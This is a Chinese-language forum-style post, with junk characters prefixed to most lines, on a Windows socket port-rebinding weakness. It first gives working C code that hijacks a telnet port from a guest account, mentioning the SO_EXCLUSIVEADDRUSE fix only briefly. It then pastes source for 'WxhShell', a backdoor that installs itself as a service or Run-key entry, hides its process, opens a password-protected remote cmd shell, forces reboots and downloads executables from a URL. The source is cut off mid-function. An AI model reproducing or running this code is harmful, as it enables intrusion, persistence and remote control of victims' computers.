在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
=MvB9gx@r s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
a}iP +#; zFQm3 !. saddr.sin_family = AF_INET;
B*9?mcP\ u\"/EaQ{ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
`2]TPaWGh /}
h"f5 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
@>8{J6%\ <8YvsJ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:^-\KE`3 C=IN " 这意味着什么?意味着可以进行如下的攻击:
0{I-x^FI )[u'LgVN/L 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~Orz<%k. %
[~0<uO 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
dn:\V?9 K=r~+4F 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
c`/=)IO4% rHuzGSX54 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
d ^zuo wEN[o18{ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
m77!i>V) G:@1.H` 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
m# -&<= i|xz 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
.&`apQD} QjD=JC+ #include
))nTd= #include
oKH+Q6S: #include
dpX Fx"4A #include
ru~!;xT DWORD WINAPI ClientThread(LPVOID lpParam);
uvw1 _j? int main()
OmK4
\_. {
e {3%- WORD wVersionRequested;
vF&0I2T~l DWORD ret;
B79~-,Yh WSADATA wsaData;
- P" BOOL val;
9M;Y$Z SOCKADDR_IN saddr;
TKiYEh SOCKADDR_IN scaddr;
/8Z&Y`G int err;
eKo=g|D SOCKET s;
6L)7Q0Z SOCKET sc;
H/.UDz int caddsize;
k8l7.e* HANDLE mt;
>;R7r|^k DWORD tid;
F/[m.!Eo wVersionRequested = MAKEWORD( 2, 2 );
AX
Q.E$1g err = WSAStartup( wVersionRequested, &wsaData );
`U|zNizO if ( err != 0 ) {
9MQjSNYzo printf("error!WSAStartup failed!\n");
9XhH*tBn7( return -1;
~Nf|,{[(5 }
_Vf>>tuW saddr.sin_family = AF_INET;
|n^rI\p% #sk~L21A //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
2E`mbT,v& =''b `T$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
{oR@'^N saddr.sin_port = htons(23);
`M(st%@n if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
cV_-Bcb {
wAJ=rRI printf("error!socket failed!\n");
)]4=anJu@| return -1;
F S$8F }
mlUj%:Gm# val = TRUE;
G
\Nnw==v //SO_REUSEADDR选项就是可以实现端口重绑定的
d @ l if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
p L^3*B.Nr {
4%|r$E/TQ printf("error!setsockopt failed!\n");
n)z:C{ return -1;
2?v }w<Ydl }
FjLMN{eH/ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3N|6?'m //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
E@#<p-@~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
y~wr4Q= JG7K-W|!c if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
|[>yJXxEL@ {
da_0{;wR ret=GetLastError();
}B!io-} printf("error!bind failed!\n");
m(^N8k1K; return -1;
Plhakngj }
ls7P$qq listen(s,2);
%o{IQ4Lz# while(1)
TCIbPsE {
Pl-9FLJ caddsize = sizeof(scaddr);
"WO0rh` //接受连接请求
? STO#<a sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
MZB}O"
r if(sc!=INVALID_SOCKET)
p=zTY7L {
y~\uS mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
F%af05L[ if(mt==NULL)
s&<76kwl {
Q#.E-\=^ printf("Thread Creat Failed!\n");
jA[")RVG break;
0&b;!N!vJ }
N8x.D-=gG }
fO
.=i1
E} CloseHandle(mt);
D*?LcxX }
G;/l[mvh, closesocket(s);
mEkYT WSACleanup();
H*+7{;$ return 0;
8V9OMOt! }
=dQ/^C_hj DWORD WINAPI ClientThread(LPVOID lpParam)
4\g[& {
!^v~hD$_q SOCKET ss = (SOCKET)lpParam;
z|Yt|W SOCKET sc;
Df:/r% unsigned char buf[4096];
i1A<0W| SOCKADDR_IN saddr;
v-^tj}jA long num;
R,=8)OI2 DWORD val;
q">}3`k DWORD ret;
zjSl;ru //如果是隐藏端口应用的话,可以在此处加一些判断
7zJ2n/`m* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
~C>Q+tR8 saddr.sin_family = AF_INET;
_-^mxC|M saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
[TFp2B~)# saddr.sin_port = htons(23);
8lS
RK% if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-T-yt2h( {
Zk>m!F>,p printf("error!socket failed!\n");
$b2~H+u( return -1;
T!HAE#xC }
:nc%:z=O val = 100;
"r3h+(5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3bjCa\ " {
2Vu?Y ret = GetLastError();
fX6pW%Q'6 return -1;
m\bmBK"I }
H{Lt,# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
f5l\3oL {
}[MkJ21! ret = GetLastError();
csxn"Dz\ return -1;
-1`}|t; }
_#+l?\u if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
1uR@ZK {
`P-d. M6Oa printf("error!socket connect failed!\n");
W1t_P&i closesocket(sc);
F:[[@~z closesocket(ss);
D%c^j9' 1 return -1;
UQ7La 7" }
Wa.!eAe} while(1)
E|SmvIV- {
\Y!=O=za] //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
,:MUf]Ky //如果是嗅探内容的话,可以再此处进行内容分析和记录
NYs<`6P:Y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
o{n#f?EA num = recv(ss,buf,4096,0);
B,%KvL&xMX if(num>0)
OL:hNbw'~T send(sc,buf,num,0);
!?Y71:_! else if(num==0)
B4+c3M\$V break;
pv&iJ7RN num = recv(sc,buf,4096,0);
es\
qnq if(num>0)
8 ph1xQ' send(ss,buf,num,0);
pY&dw4V else if(num==0)
?hR0
MnP break;
-vk/z+-^! }
,# .12Q! closesocket(ss);
JP
{`^c closesocket(sc);
KxeqQ@ return 0 ;
6c/0OM# }
Cw kQhj? f~TkU\Rh 2Ur&_c6P ==========================================================
Aw4)=-LKO ]n<Ba7Y 下边附上一个代码,,WXhSHELL
oWi#?' X%fLV( ==========================================================
S1'?"zAmd
CRrEs
18;# #include "stdafx.h"
IB 4L(n1 1p&=tN #include <stdio.h>
=?wDQ: #include <string.h>
QR8]d1+GV #include <windows.h>
nGc'xQy0 #include <winsock2.h>
W$J.B!O #include <winsvc.h>
_FS #~z'j #include <urlmon.h>
nU\.`.39
+ kApD D[ N #pragma comment (lib, "Ws2_32.lib")
8oRq3 " #pragma comment (lib, "urlmon.lib")
ui|6ih$+ T?=]&9Y' #define MAX_USER 100 // 最大客户端连接数
d7zZ~n #define BUF_SOCK 200 // sock buffer
b E40^e #define KEY_BUFF 255 // 输入 buffer
In!^+j GkU$Z @ #define REBOOT 0 // 重启
Zp6VH #define SHUTDOWN 1 // 关机
eWD!/yr| l=S!cj; #define DEF_PORT 5000 // 监听端口
p} eO P*PJ #define REG_LEN 16 // 注册表键长度
CL-?Mi=Uc #define SVC_LEN 80 // NT服务名长度
g/P1lQ) vS3Y9|-: // 从dll定义API
V$Oj@vI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
R"CF xo typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
`zl,|}u) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
g}a+%Obb typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
?@`5^7*
$*P+ // wxhshell配置信息
XbFo#Pwk struct WSCFG {
lU&2K$` int ws_port; // 监听端口
9(vp`Z8B4 char ws_passstr[REG_LEN]; // 口令
EQZ/v gho int ws_autoins; // 安装标记, 1=yes 0=no
,nP nH1vb char ws_regname[REG_LEN]; // 注册表键名
n-qle5s j char ws_svcname[REG_LEN]; // 服务名
3!QXzT$E char ws_svcdisp[SVC_LEN]; // 服务显示名
-y?ve od# char ws_svcdesc[SVC_LEN]; // 服务描述信息
)-}<}< oO char ws_passmsg[SVC_LEN]; // 密码输入提示信息
hjk]?MC int ws_downexe; // 下载执行标记, 1=yes 0=no
o:
> (Tv char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
vMn$lT@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
wq1s#ag< `w@z
Fc!" };
5bI4'
; X(DP=C}v9 // default Wxhshell configuration
"@5{= struct WSCFG wscfg={DEF_PORT,
`Jj b4] "xuhuanlingzhe",
L5 Ai 1,
dWwb}r(ky "Wxhshell",
fLSDt(c', "Wxhshell",
^%g8OP "WxhShell Service",
r(wtuD23q "Wrsky Windows CmdShell Service",
Zc&pJP+M'U "Please Input Your Password: ",
Dsv2p~ 1,
z\K% "
http://www.wrsky.com/wxhshell.exe",
P# 8lO%; "Wxhshell.exe"
By}ZHK94I };
,,#6SR(n 78?{;iNv // 消息定义模块
a8k`Wog char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
{c drMP@"" char *msg_ws_prompt="\n\r? for help\n\r#>";
K!E\v4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
p_apVm\t_ char *msg_ws_ext="\n\rExit.";
Nr]guC? rE char *msg_ws_end="\n\rQuit.";
[=Nv=d<[p char *msg_ws_boot="\n\rReboot...";
zqI|VH char *msg_ws_poff="\n\rShutdown...";
7/Bj WU5* char *msg_ws_down="\n\rSave to ";
iF.f*3-NJB o4z|XhLr char *msg_ws_err="\n\rErr!";
T`<Tj?:^& char *msg_ws_ok="\n\rOK!";
"15frr? P(C5@x(Z char ExeFile[MAX_PATH];
Jk{v(W# int nUser = 0;
4wa3$Pk HANDLE handles[MAX_USER];
.6bo int OsIsNt;
0 EA3>$; 3k8.5W SERVICE_STATUS serviceStatus;
%6M%PR~u SERVICE_STATUS_HANDLE hServiceStatusHandle;
!Ow
M-t 9~K+h/ // 函数声明
7W&XcF int Install(void);
)RWukr+ int Uninstall(void);
UKB/>:R int DownloadFile(char *sURL, SOCKET wsh);
Z*NTF:6c int Boot(int flag);
9uX15a void HideProc(void);
]A l)> int GetOsVer(void);
|B^Picu int Wxhshell(SOCKET wsl);
Y[>`#RhP void TalkWithClient(void *cs);
4)L};B= int CmdShell(SOCKET sock);
PBiA/dG[; int StartFromService(void);
6bf!v int StartWxhshell(LPSTR lpCmdLine);
~ySsv ZR{YpLFQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
j``Ku@/x0 VOID WINAPI NTServiceHandler( DWORD fdwControl );
_Ii=3Qsf lC
d\nE8G // 数据结构和表定义
*$1F|G SERVICE_TABLE_ENTRY DispatchTable[] =
X>]<rEh {
yRQNmR;Uy {wscfg.ws_svcname, NTServiceMain},
#}tdA(
- {NULL, NULL}
dWhqu68_ };
hOdU% 2G3Hi;q18 // 自我安装
^R7X!tOq4 int Install(void)
I:MrX {
uOd1:\%* char svExeFile[MAX_PATH];
,t'"3<^Jg HKEY key;
6_tl_O7 strcpy(svExeFile,ExeFile);
yaHkWkl
= qB`%+<)C // 如果是win9x系统,修改注册表设为自启动
-|=) if(!OsIsNt) {
-`t9@1P>
= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
e?]HNy RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Az>r}*FGr RegCloseKey(key);
`P*w ZKlW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Sj8fo^K50 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
aan(69=jz RegCloseKey(key);
)$*B return 0;
:)+)L@By }
#9qX:*>h }
z>
N73 u }
-7Kstc- else {
P4E_<v[ l)EtK&er(} // 如果是NT以上系统,安装为系统服务
6&2{V?
W3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
_C'VC#Sy if (schSCManager!=0)
]/[@.
{
OO,%zwgt SC_HANDLE schService = CreateService
^
$N3.O. (
=xb/zu( schSCManager,
`)BZk[64 wscfg.ws_svcname,
0AhUH|] wscfg.ws_svcdisp,
0p\Kf(|E*6 SERVICE_ALL_ACCESS,
A43[i@o SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
wDBU+Z SERVICE_AUTO_START,
{L M Q SERVICE_ERROR_NORMAL,
/}5)[9GC svExeFile,
Q}g"pl NULL,
z`]:\j'O3" NULL,
~ntDzF NULL,
Ov.oyke4 NULL,
J*^ i=y NULL
D8$4P T0u );
$?pfst~;O if (schService!=0)
ykGA.wo7/P {
/<o?T{z<- CloseServiceHandle(schService);
4NIb_E0 CloseServiceHandle(schSCManager);
aq(i^d strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
8>X] wA6q strcat(svExeFile,wscfg.ws_svcname);
xBqZ:
BQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
U\[b qw RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
G^/8^Zi RegCloseKey(key);
_+%p!!
return 0;
EKmn@S-&P }
;iUO1t)^ }
b.)jJLWv@ CloseServiceHandle(schSCManager);
:n?rk/ F }
b~TTz`HZ }
A[:(#iR5-E ~cfvL*~5 return 1;
\GGyz{i }
W!* P _0Y?(} // 自我卸载
#aKUD int Uninstall(void)
JPg^h {
Y{X%C\ HKEY key;
vJb/.)gh] un)PW&~E if(!OsIsNt) {
[Z!oVSCZD% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Sa:;j4 RegDeleteValue(key,wscfg.ws_regname);
)k4&S{= RegCloseKey(key);
5`::#[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}=u#,nDl>$ RegDeleteValue(key,wscfg.ws_regname);
?MvL}o\| RegCloseKey(key);
`?"r\Qo< return 0;
!0v3Lu~j }
2=naPTP( }
3u,B< }
M L7 vP else {
+\>op,_9I Q>L. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
TA~ZN^xI if (schSCManager!=0)
k#8E9/t@ {
GB)< 5I SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Rq|]KAN if (schService!=0)
y%<CkgZS {
NA#,q 8 if(DeleteService(schService)!=0) {
TT&%[A+ CloseServiceHandle(schService);
:fnK`RnaQ CloseServiceHandle(schSCManager);
}8`>n4 return 0;
6DC+8I< }
TW1#'G_# CloseServiceHandle(schService);
x,GLGGi}_x }
p.x2R,CU CloseServiceHandle(schSCManager);
In;+wFu;M }
ZCNO_g }
*\`<=,H6< !y$+RA7\ return 1;
"2PT]! }
!;Pp)SRzKG JX#0<U|L // 从指定url下载文件
|vxmgX) int DownloadFile(char *sURL, SOCKET wsh)
bfK4ps}m* {
2M+*VO HRESULT hr;
va0}?fy.O% char seps[]= "/";
VWqZ`X char *token;
P5lk3Zg' char *file;
}|Bs|$q char myURL[MAX_PATH];
:b;`.`@KL_ char myFILE[MAX_PATH];
EWOa2^%}Z\ $|AasT5w strcpy(myURL,sURL);
}R_Rw:W token=strtok(myURL,seps);
ej\Sc7. while(token!=NULL)
BW"24JhF" {
x]t$Zb/Uxa file=token;
v'r)d-T token=strtok(NULL,seps);
;f)AM}~^Q }
(,cG+3r] C3(h j GetCurrentDirectory(MAX_PATH,myFILE);
+ 7wMM#z strcat(myFILE, "\\");
p+b$jKWQ strcat(myFILE, file);
Hk=HO|&<XB send(wsh,myFILE,strlen(myFILE),0);
*<X*)A{C send(wsh,"...",3,0);
|n~,{= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Mu6DTp~k if(hr==S_OK)
-]QP#_
return 0;
W mx3@]< else
+M<W8KF return 1;
'c3'eJ0 B|'}HBkP }
Tf('iZ2+ q)J5tBfJ // 系统电源模块
kr-5O0tmf int Boot(int flag)
Fe.90) {
tjx|;m7 HANDLE hToken;
{$v^2K'C TOKEN_PRIVILEGES tkp;
L<6nM
;d F& if(OsIsNt) {
aP
B4!3W OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
{xh5s<uOj LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
)mjGHq2 tkp.PrivilegeCount = 1;
=J'Q%qN<Zd tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Hlpt zez AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
]0W64cuT if(flag==REBOOT) {
e&!8UYP if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
$xjfW/k?M return 0;
PX` xr1o }
*eI {g else {
4
=T_h` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
8]rObT9> return 0;
RF~G{wz }
0?O_]SD }
2IGU{&s else {
?-8DS5 if(flag==REBOOT) {
h.NCG96S if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
po.QM/b
\ return 0;
D]N)
}
[ 6Sk>j else {
vG\
b` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
wc&D[M]-/ return 0;
@a,=ApS" }
G2-0r.f }
m!=5Q S3Z e>bARK< return 1;
^66OzT8A }
=YD<q:n4 ukRmjHbLf // win9x进程隐藏模块
WZh_z^rwn void HideProc(void)
y,w_x,m {
&>QxL d# )<qL8#["U HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
[jrfh>v if ( hKernel != NULL )
Gl[1K/,* {
XL'\$f pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Nbv b_ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
J6"GHbsO FreeLibrary(hKernel);
.tQ(q=# }
COmu.'%* ^YB2E* return;
}Z<Sca7 }
+;M 5Sp 0)ZLdF_6 // 获取操作系统版本
Qqk(,1u int GetOsVer(void)
iSg0X8J) {
Q{an[9To~P OSVERSIONINFO winfo;
xvomn`X1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
p1(" GetVersionEx(&winfo);
{-f%g-@L6| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
eKZS_Q d return 1;
C[d1n#@r else
]>%2,+5 return 0;
oJ`=ob4WDo }
]'w5s dP V`HnFAW // 客户端句柄模块
?<Lm58p8 int Wxhshell(SOCKET wsl)
:"H?phk {
g,W34*7=Q SOCKET wsh;
L
4Z+8* struct sockaddr_in client;
c]bG5 DWORD myID;
[x]~G fNfa.0s while(nUser<MAX_USER)
AjoIL {
-=5~-72~ int nSize=sizeof(client);
6NHP/bj<1V wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
a'.7)f[g} if(wsh==INVALID_SOCKET) return 1;
\fuz`fK: 2)T;N`tNw handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
b?qV~Dgk` if(handles[nUser]==0)
}^j8< closesocket(wsh);
`l/nAKg?W else
LsaX
HI/?b nUser++;
:8==Bu }
>yHtGIHe- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
?~E"! }maD8,:t return 0;
iHK.hs; }
P#`M8k }pnp._j // 关闭 socket
z(
}w| void CloseIt(SOCKET wsh)
-;FAS3(wy {
;Krb/qr4_ closesocket(wsh);
x'..j5 nUser--;
/e*fsQ>M: ExitThread(0);
#y[omla8 }
g j]8/~lr 5\w*W6y // 客户端请求句柄
<W) F{N? void TalkWithClient(void *cs)
MNb9 ~kM {
x$D^Bh, 9yWf*s< SOCKET wsh=(SOCKET)cs;
I,HtW ), char pwd[SVC_LEN];
e6
x#4YH char cmd[KEY_BUFF];
.kMnq8u char chr[1];
)N607 Fa- int i,j;
5MKM;6cA&p
2oRwDg&7| while (nUser < MAX_USER) {
~I%164B+/ nZ (wfNk if(wscfg.ws_passstr) {
TW70z]B if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[{Q$$aV1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+"bi]^\z //ZeroMemory(pwd,KEY_BUFF);
Cc,V ] i=0;
kE8s])Z,+ while(i<SVC_LEN) {
UK1 )U)*+ -3azA7tzz // 设置超时
j3T)gFP fd_set FdRead;
2FV@?x0po struct timeval TimeOut;
ZGsd cnz FD_ZERO(&FdRead);
o0S8ki FD_SET(wsh,&FdRead);
%*wEzvt* TimeOut.tv_sec=8;
u/-EVCHr
y TimeOut.tv_usec=0;
_nEVmz!zg int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
;134$7!Y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
:FtV~^Z +zq"dj_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
U{LS_VI~ pwd
=chr[0]; aNNRw(0/
if(chr[0]==0xd || chr[0]==0xa) { (_CvN=A
pwd=0; A'b$X1h
break; 8"g+
k`PRy
} MSeg7/ MF
i++; =T&<z_L
} JtxVF!v
EzjK{v">
// 如果是非法用户,关闭 socket '@h
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jw{B8<@s
} ->.9[|lIg
",Vx.LV
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _KxR~k^
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I"x|U[*B
/j4G}
while(1) { Mx`';z8~
aX6}:"R2C
ZeroMemory(cmd,KEY_BUFF); ; '
vkF
>~Tn%u<
// 自动支持客户端 telnet标准 i8-Y,&>V
j=0; G/~gF7
while(j<KEY_BUFF) { % XZ&(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /IJy'@B
cmd[j]=chr[0]; %6 GM[1__
if(chr[0]==0xa || chr[0]==0xd) { &z:bZH]DH
cmd[j]=0; ?eX/vqk
break; yt="kZ
} W}
H~ka
j++; =BE !
} alHA&YC{K
BG?>)]6
// 下载文件 "-dA\,G
if(strstr(cmd,"http://")) { ]4c+{
send(wsh,msg_ws_down,strlen(msg_ws_down),0); cc_'Kv!
if(DownloadFile(cmd,wsh)) xP&7i'ag
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0H^*VUyW/
else Fb8d=Zc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hhZ%{lqL
} <bSPKTKL
else { J`GL_@$q
$,U/,XA
{E
switch(cmd[0]) { ,*d8T7T
qTdwi?j_
// 帮助 { AYW
C6Y
case '?': {
F;}JSb"
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7H{1i
break; jG;J qT
} NW`.7'aWT
// 安装 ,(K-;Id4
case 'i': { 0;">ETh=
if(Install()) at@tS>Dv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R#;xBBt8
else &?H$-r1/?V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Vh
break; w)@Wug
} S\:+5}
// 卸载 1 Ga3[g
case 'r': { R5^6Kwu
if(Uninstall()) tUc<ExvP,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M."/"hV`-
else ([>__c/Nd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
J9*;Bqzim
break; 7_l
Wr
} uyB 2
// 显示 wxhshell 所在路径 `NgQ>KV!
case 'p': { _LC*_LT_
char svExeFile[MAX_PATH]; v G\J8s
strcpy(svExeFile,"\n\r"); 5=|h~/.k
strcat(svExeFile,ExeFile); 7I"~a<f0X`
send(wsh,svExeFile,strlen(svExeFile),0); 5o>`7(t`
break; Xnjl {`
} [w@S/K[_|
// 重启 GU2TQx{V
case 'b': { MQN~I^v3
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
J@_^]
if(Boot(REBOOT)) ^tG,H@95
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ly[dV.<P
else { GuU-<*u(d
closesocket(wsh); ^GY^g-R
ExitThread(0); O)VcW/
} *Ic^9njt
break; UhS:tT]7
} $o5i15Oy.
// 关机 Kd+E]$F_OH
case 'd': { m+s*Io{Ip
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 63Gq5dF
if(Boot(SHUTDOWN)) +ynhN\S$/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ut560,h~
else { <Y?Z&rNb
closesocket(wsh); mR@d4(:J?
ExitThread(0); -#T%*
} d!R+-Fp
break; zs
I?X>4
} (ub(0 h0j
// 获取shell Il&7n_ H
case 's': { dG5jhkPX
CmdShell(wsh); SF-"3M
closesocket(wsh); cRrJZ9
ExitThread(0); M3@qhEf?vk
break; s<!G2~T
} w[gt9]}N
// 退出 ;iKtv+"
case 'x': { fv8x7l7
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @XzfuuE]
CloseIt(wsh); JP6 Noia
break; A~a 3bCX+"
} mKO~`Wq%@
// 离开 [5p9p1@u{C
case 'q': { j0{`7n
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !Ea! "}
closesocket(wsh); -;_"Y]#
WSACleanup(); AJ*17w
exit(1); SIrNZ^I
break; 7A(4`D J
} |au`ph5
} 2 >O [Y1
} X0P +[.i
MT>(d*0s
// 提示信息 eQ/w
Mr
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bt@?l]Y
} E#(e2Z=
} 4uoZw3O
QH(&Cu,
return; k $gcQ:|
} Sj(>G;
vJ'22)n
// shell模块句柄 {*O+vtir%
int CmdShell(SOCKET sock) Bv@p9 ]
n
{ <H60rON
STARTUPINFO si; +CBN[/Z^i
ZeroMemory(&si,sizeof(si)); d>)=|
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZXYyG`3+
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T=42]h
PROCESS_INFORMATION ProcessInfo; a}NB6E)-
char cmdline[]="cmd"; !vu-`u~86
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kj
@<$ChZw
return 0; Oz-/0;1n
} g*oX`K.
ig.Z,R3@r
// 自身启动模式 v;
#y^O
int StartFromService(void) v\?J=|S+
{ uVU)LOx
typedef struct 7MrHu2rZ=
{ ma*#*4
DWORD ExitStatus; }9\6!GY0
DWORD PebBaseAddress; 61kSCu
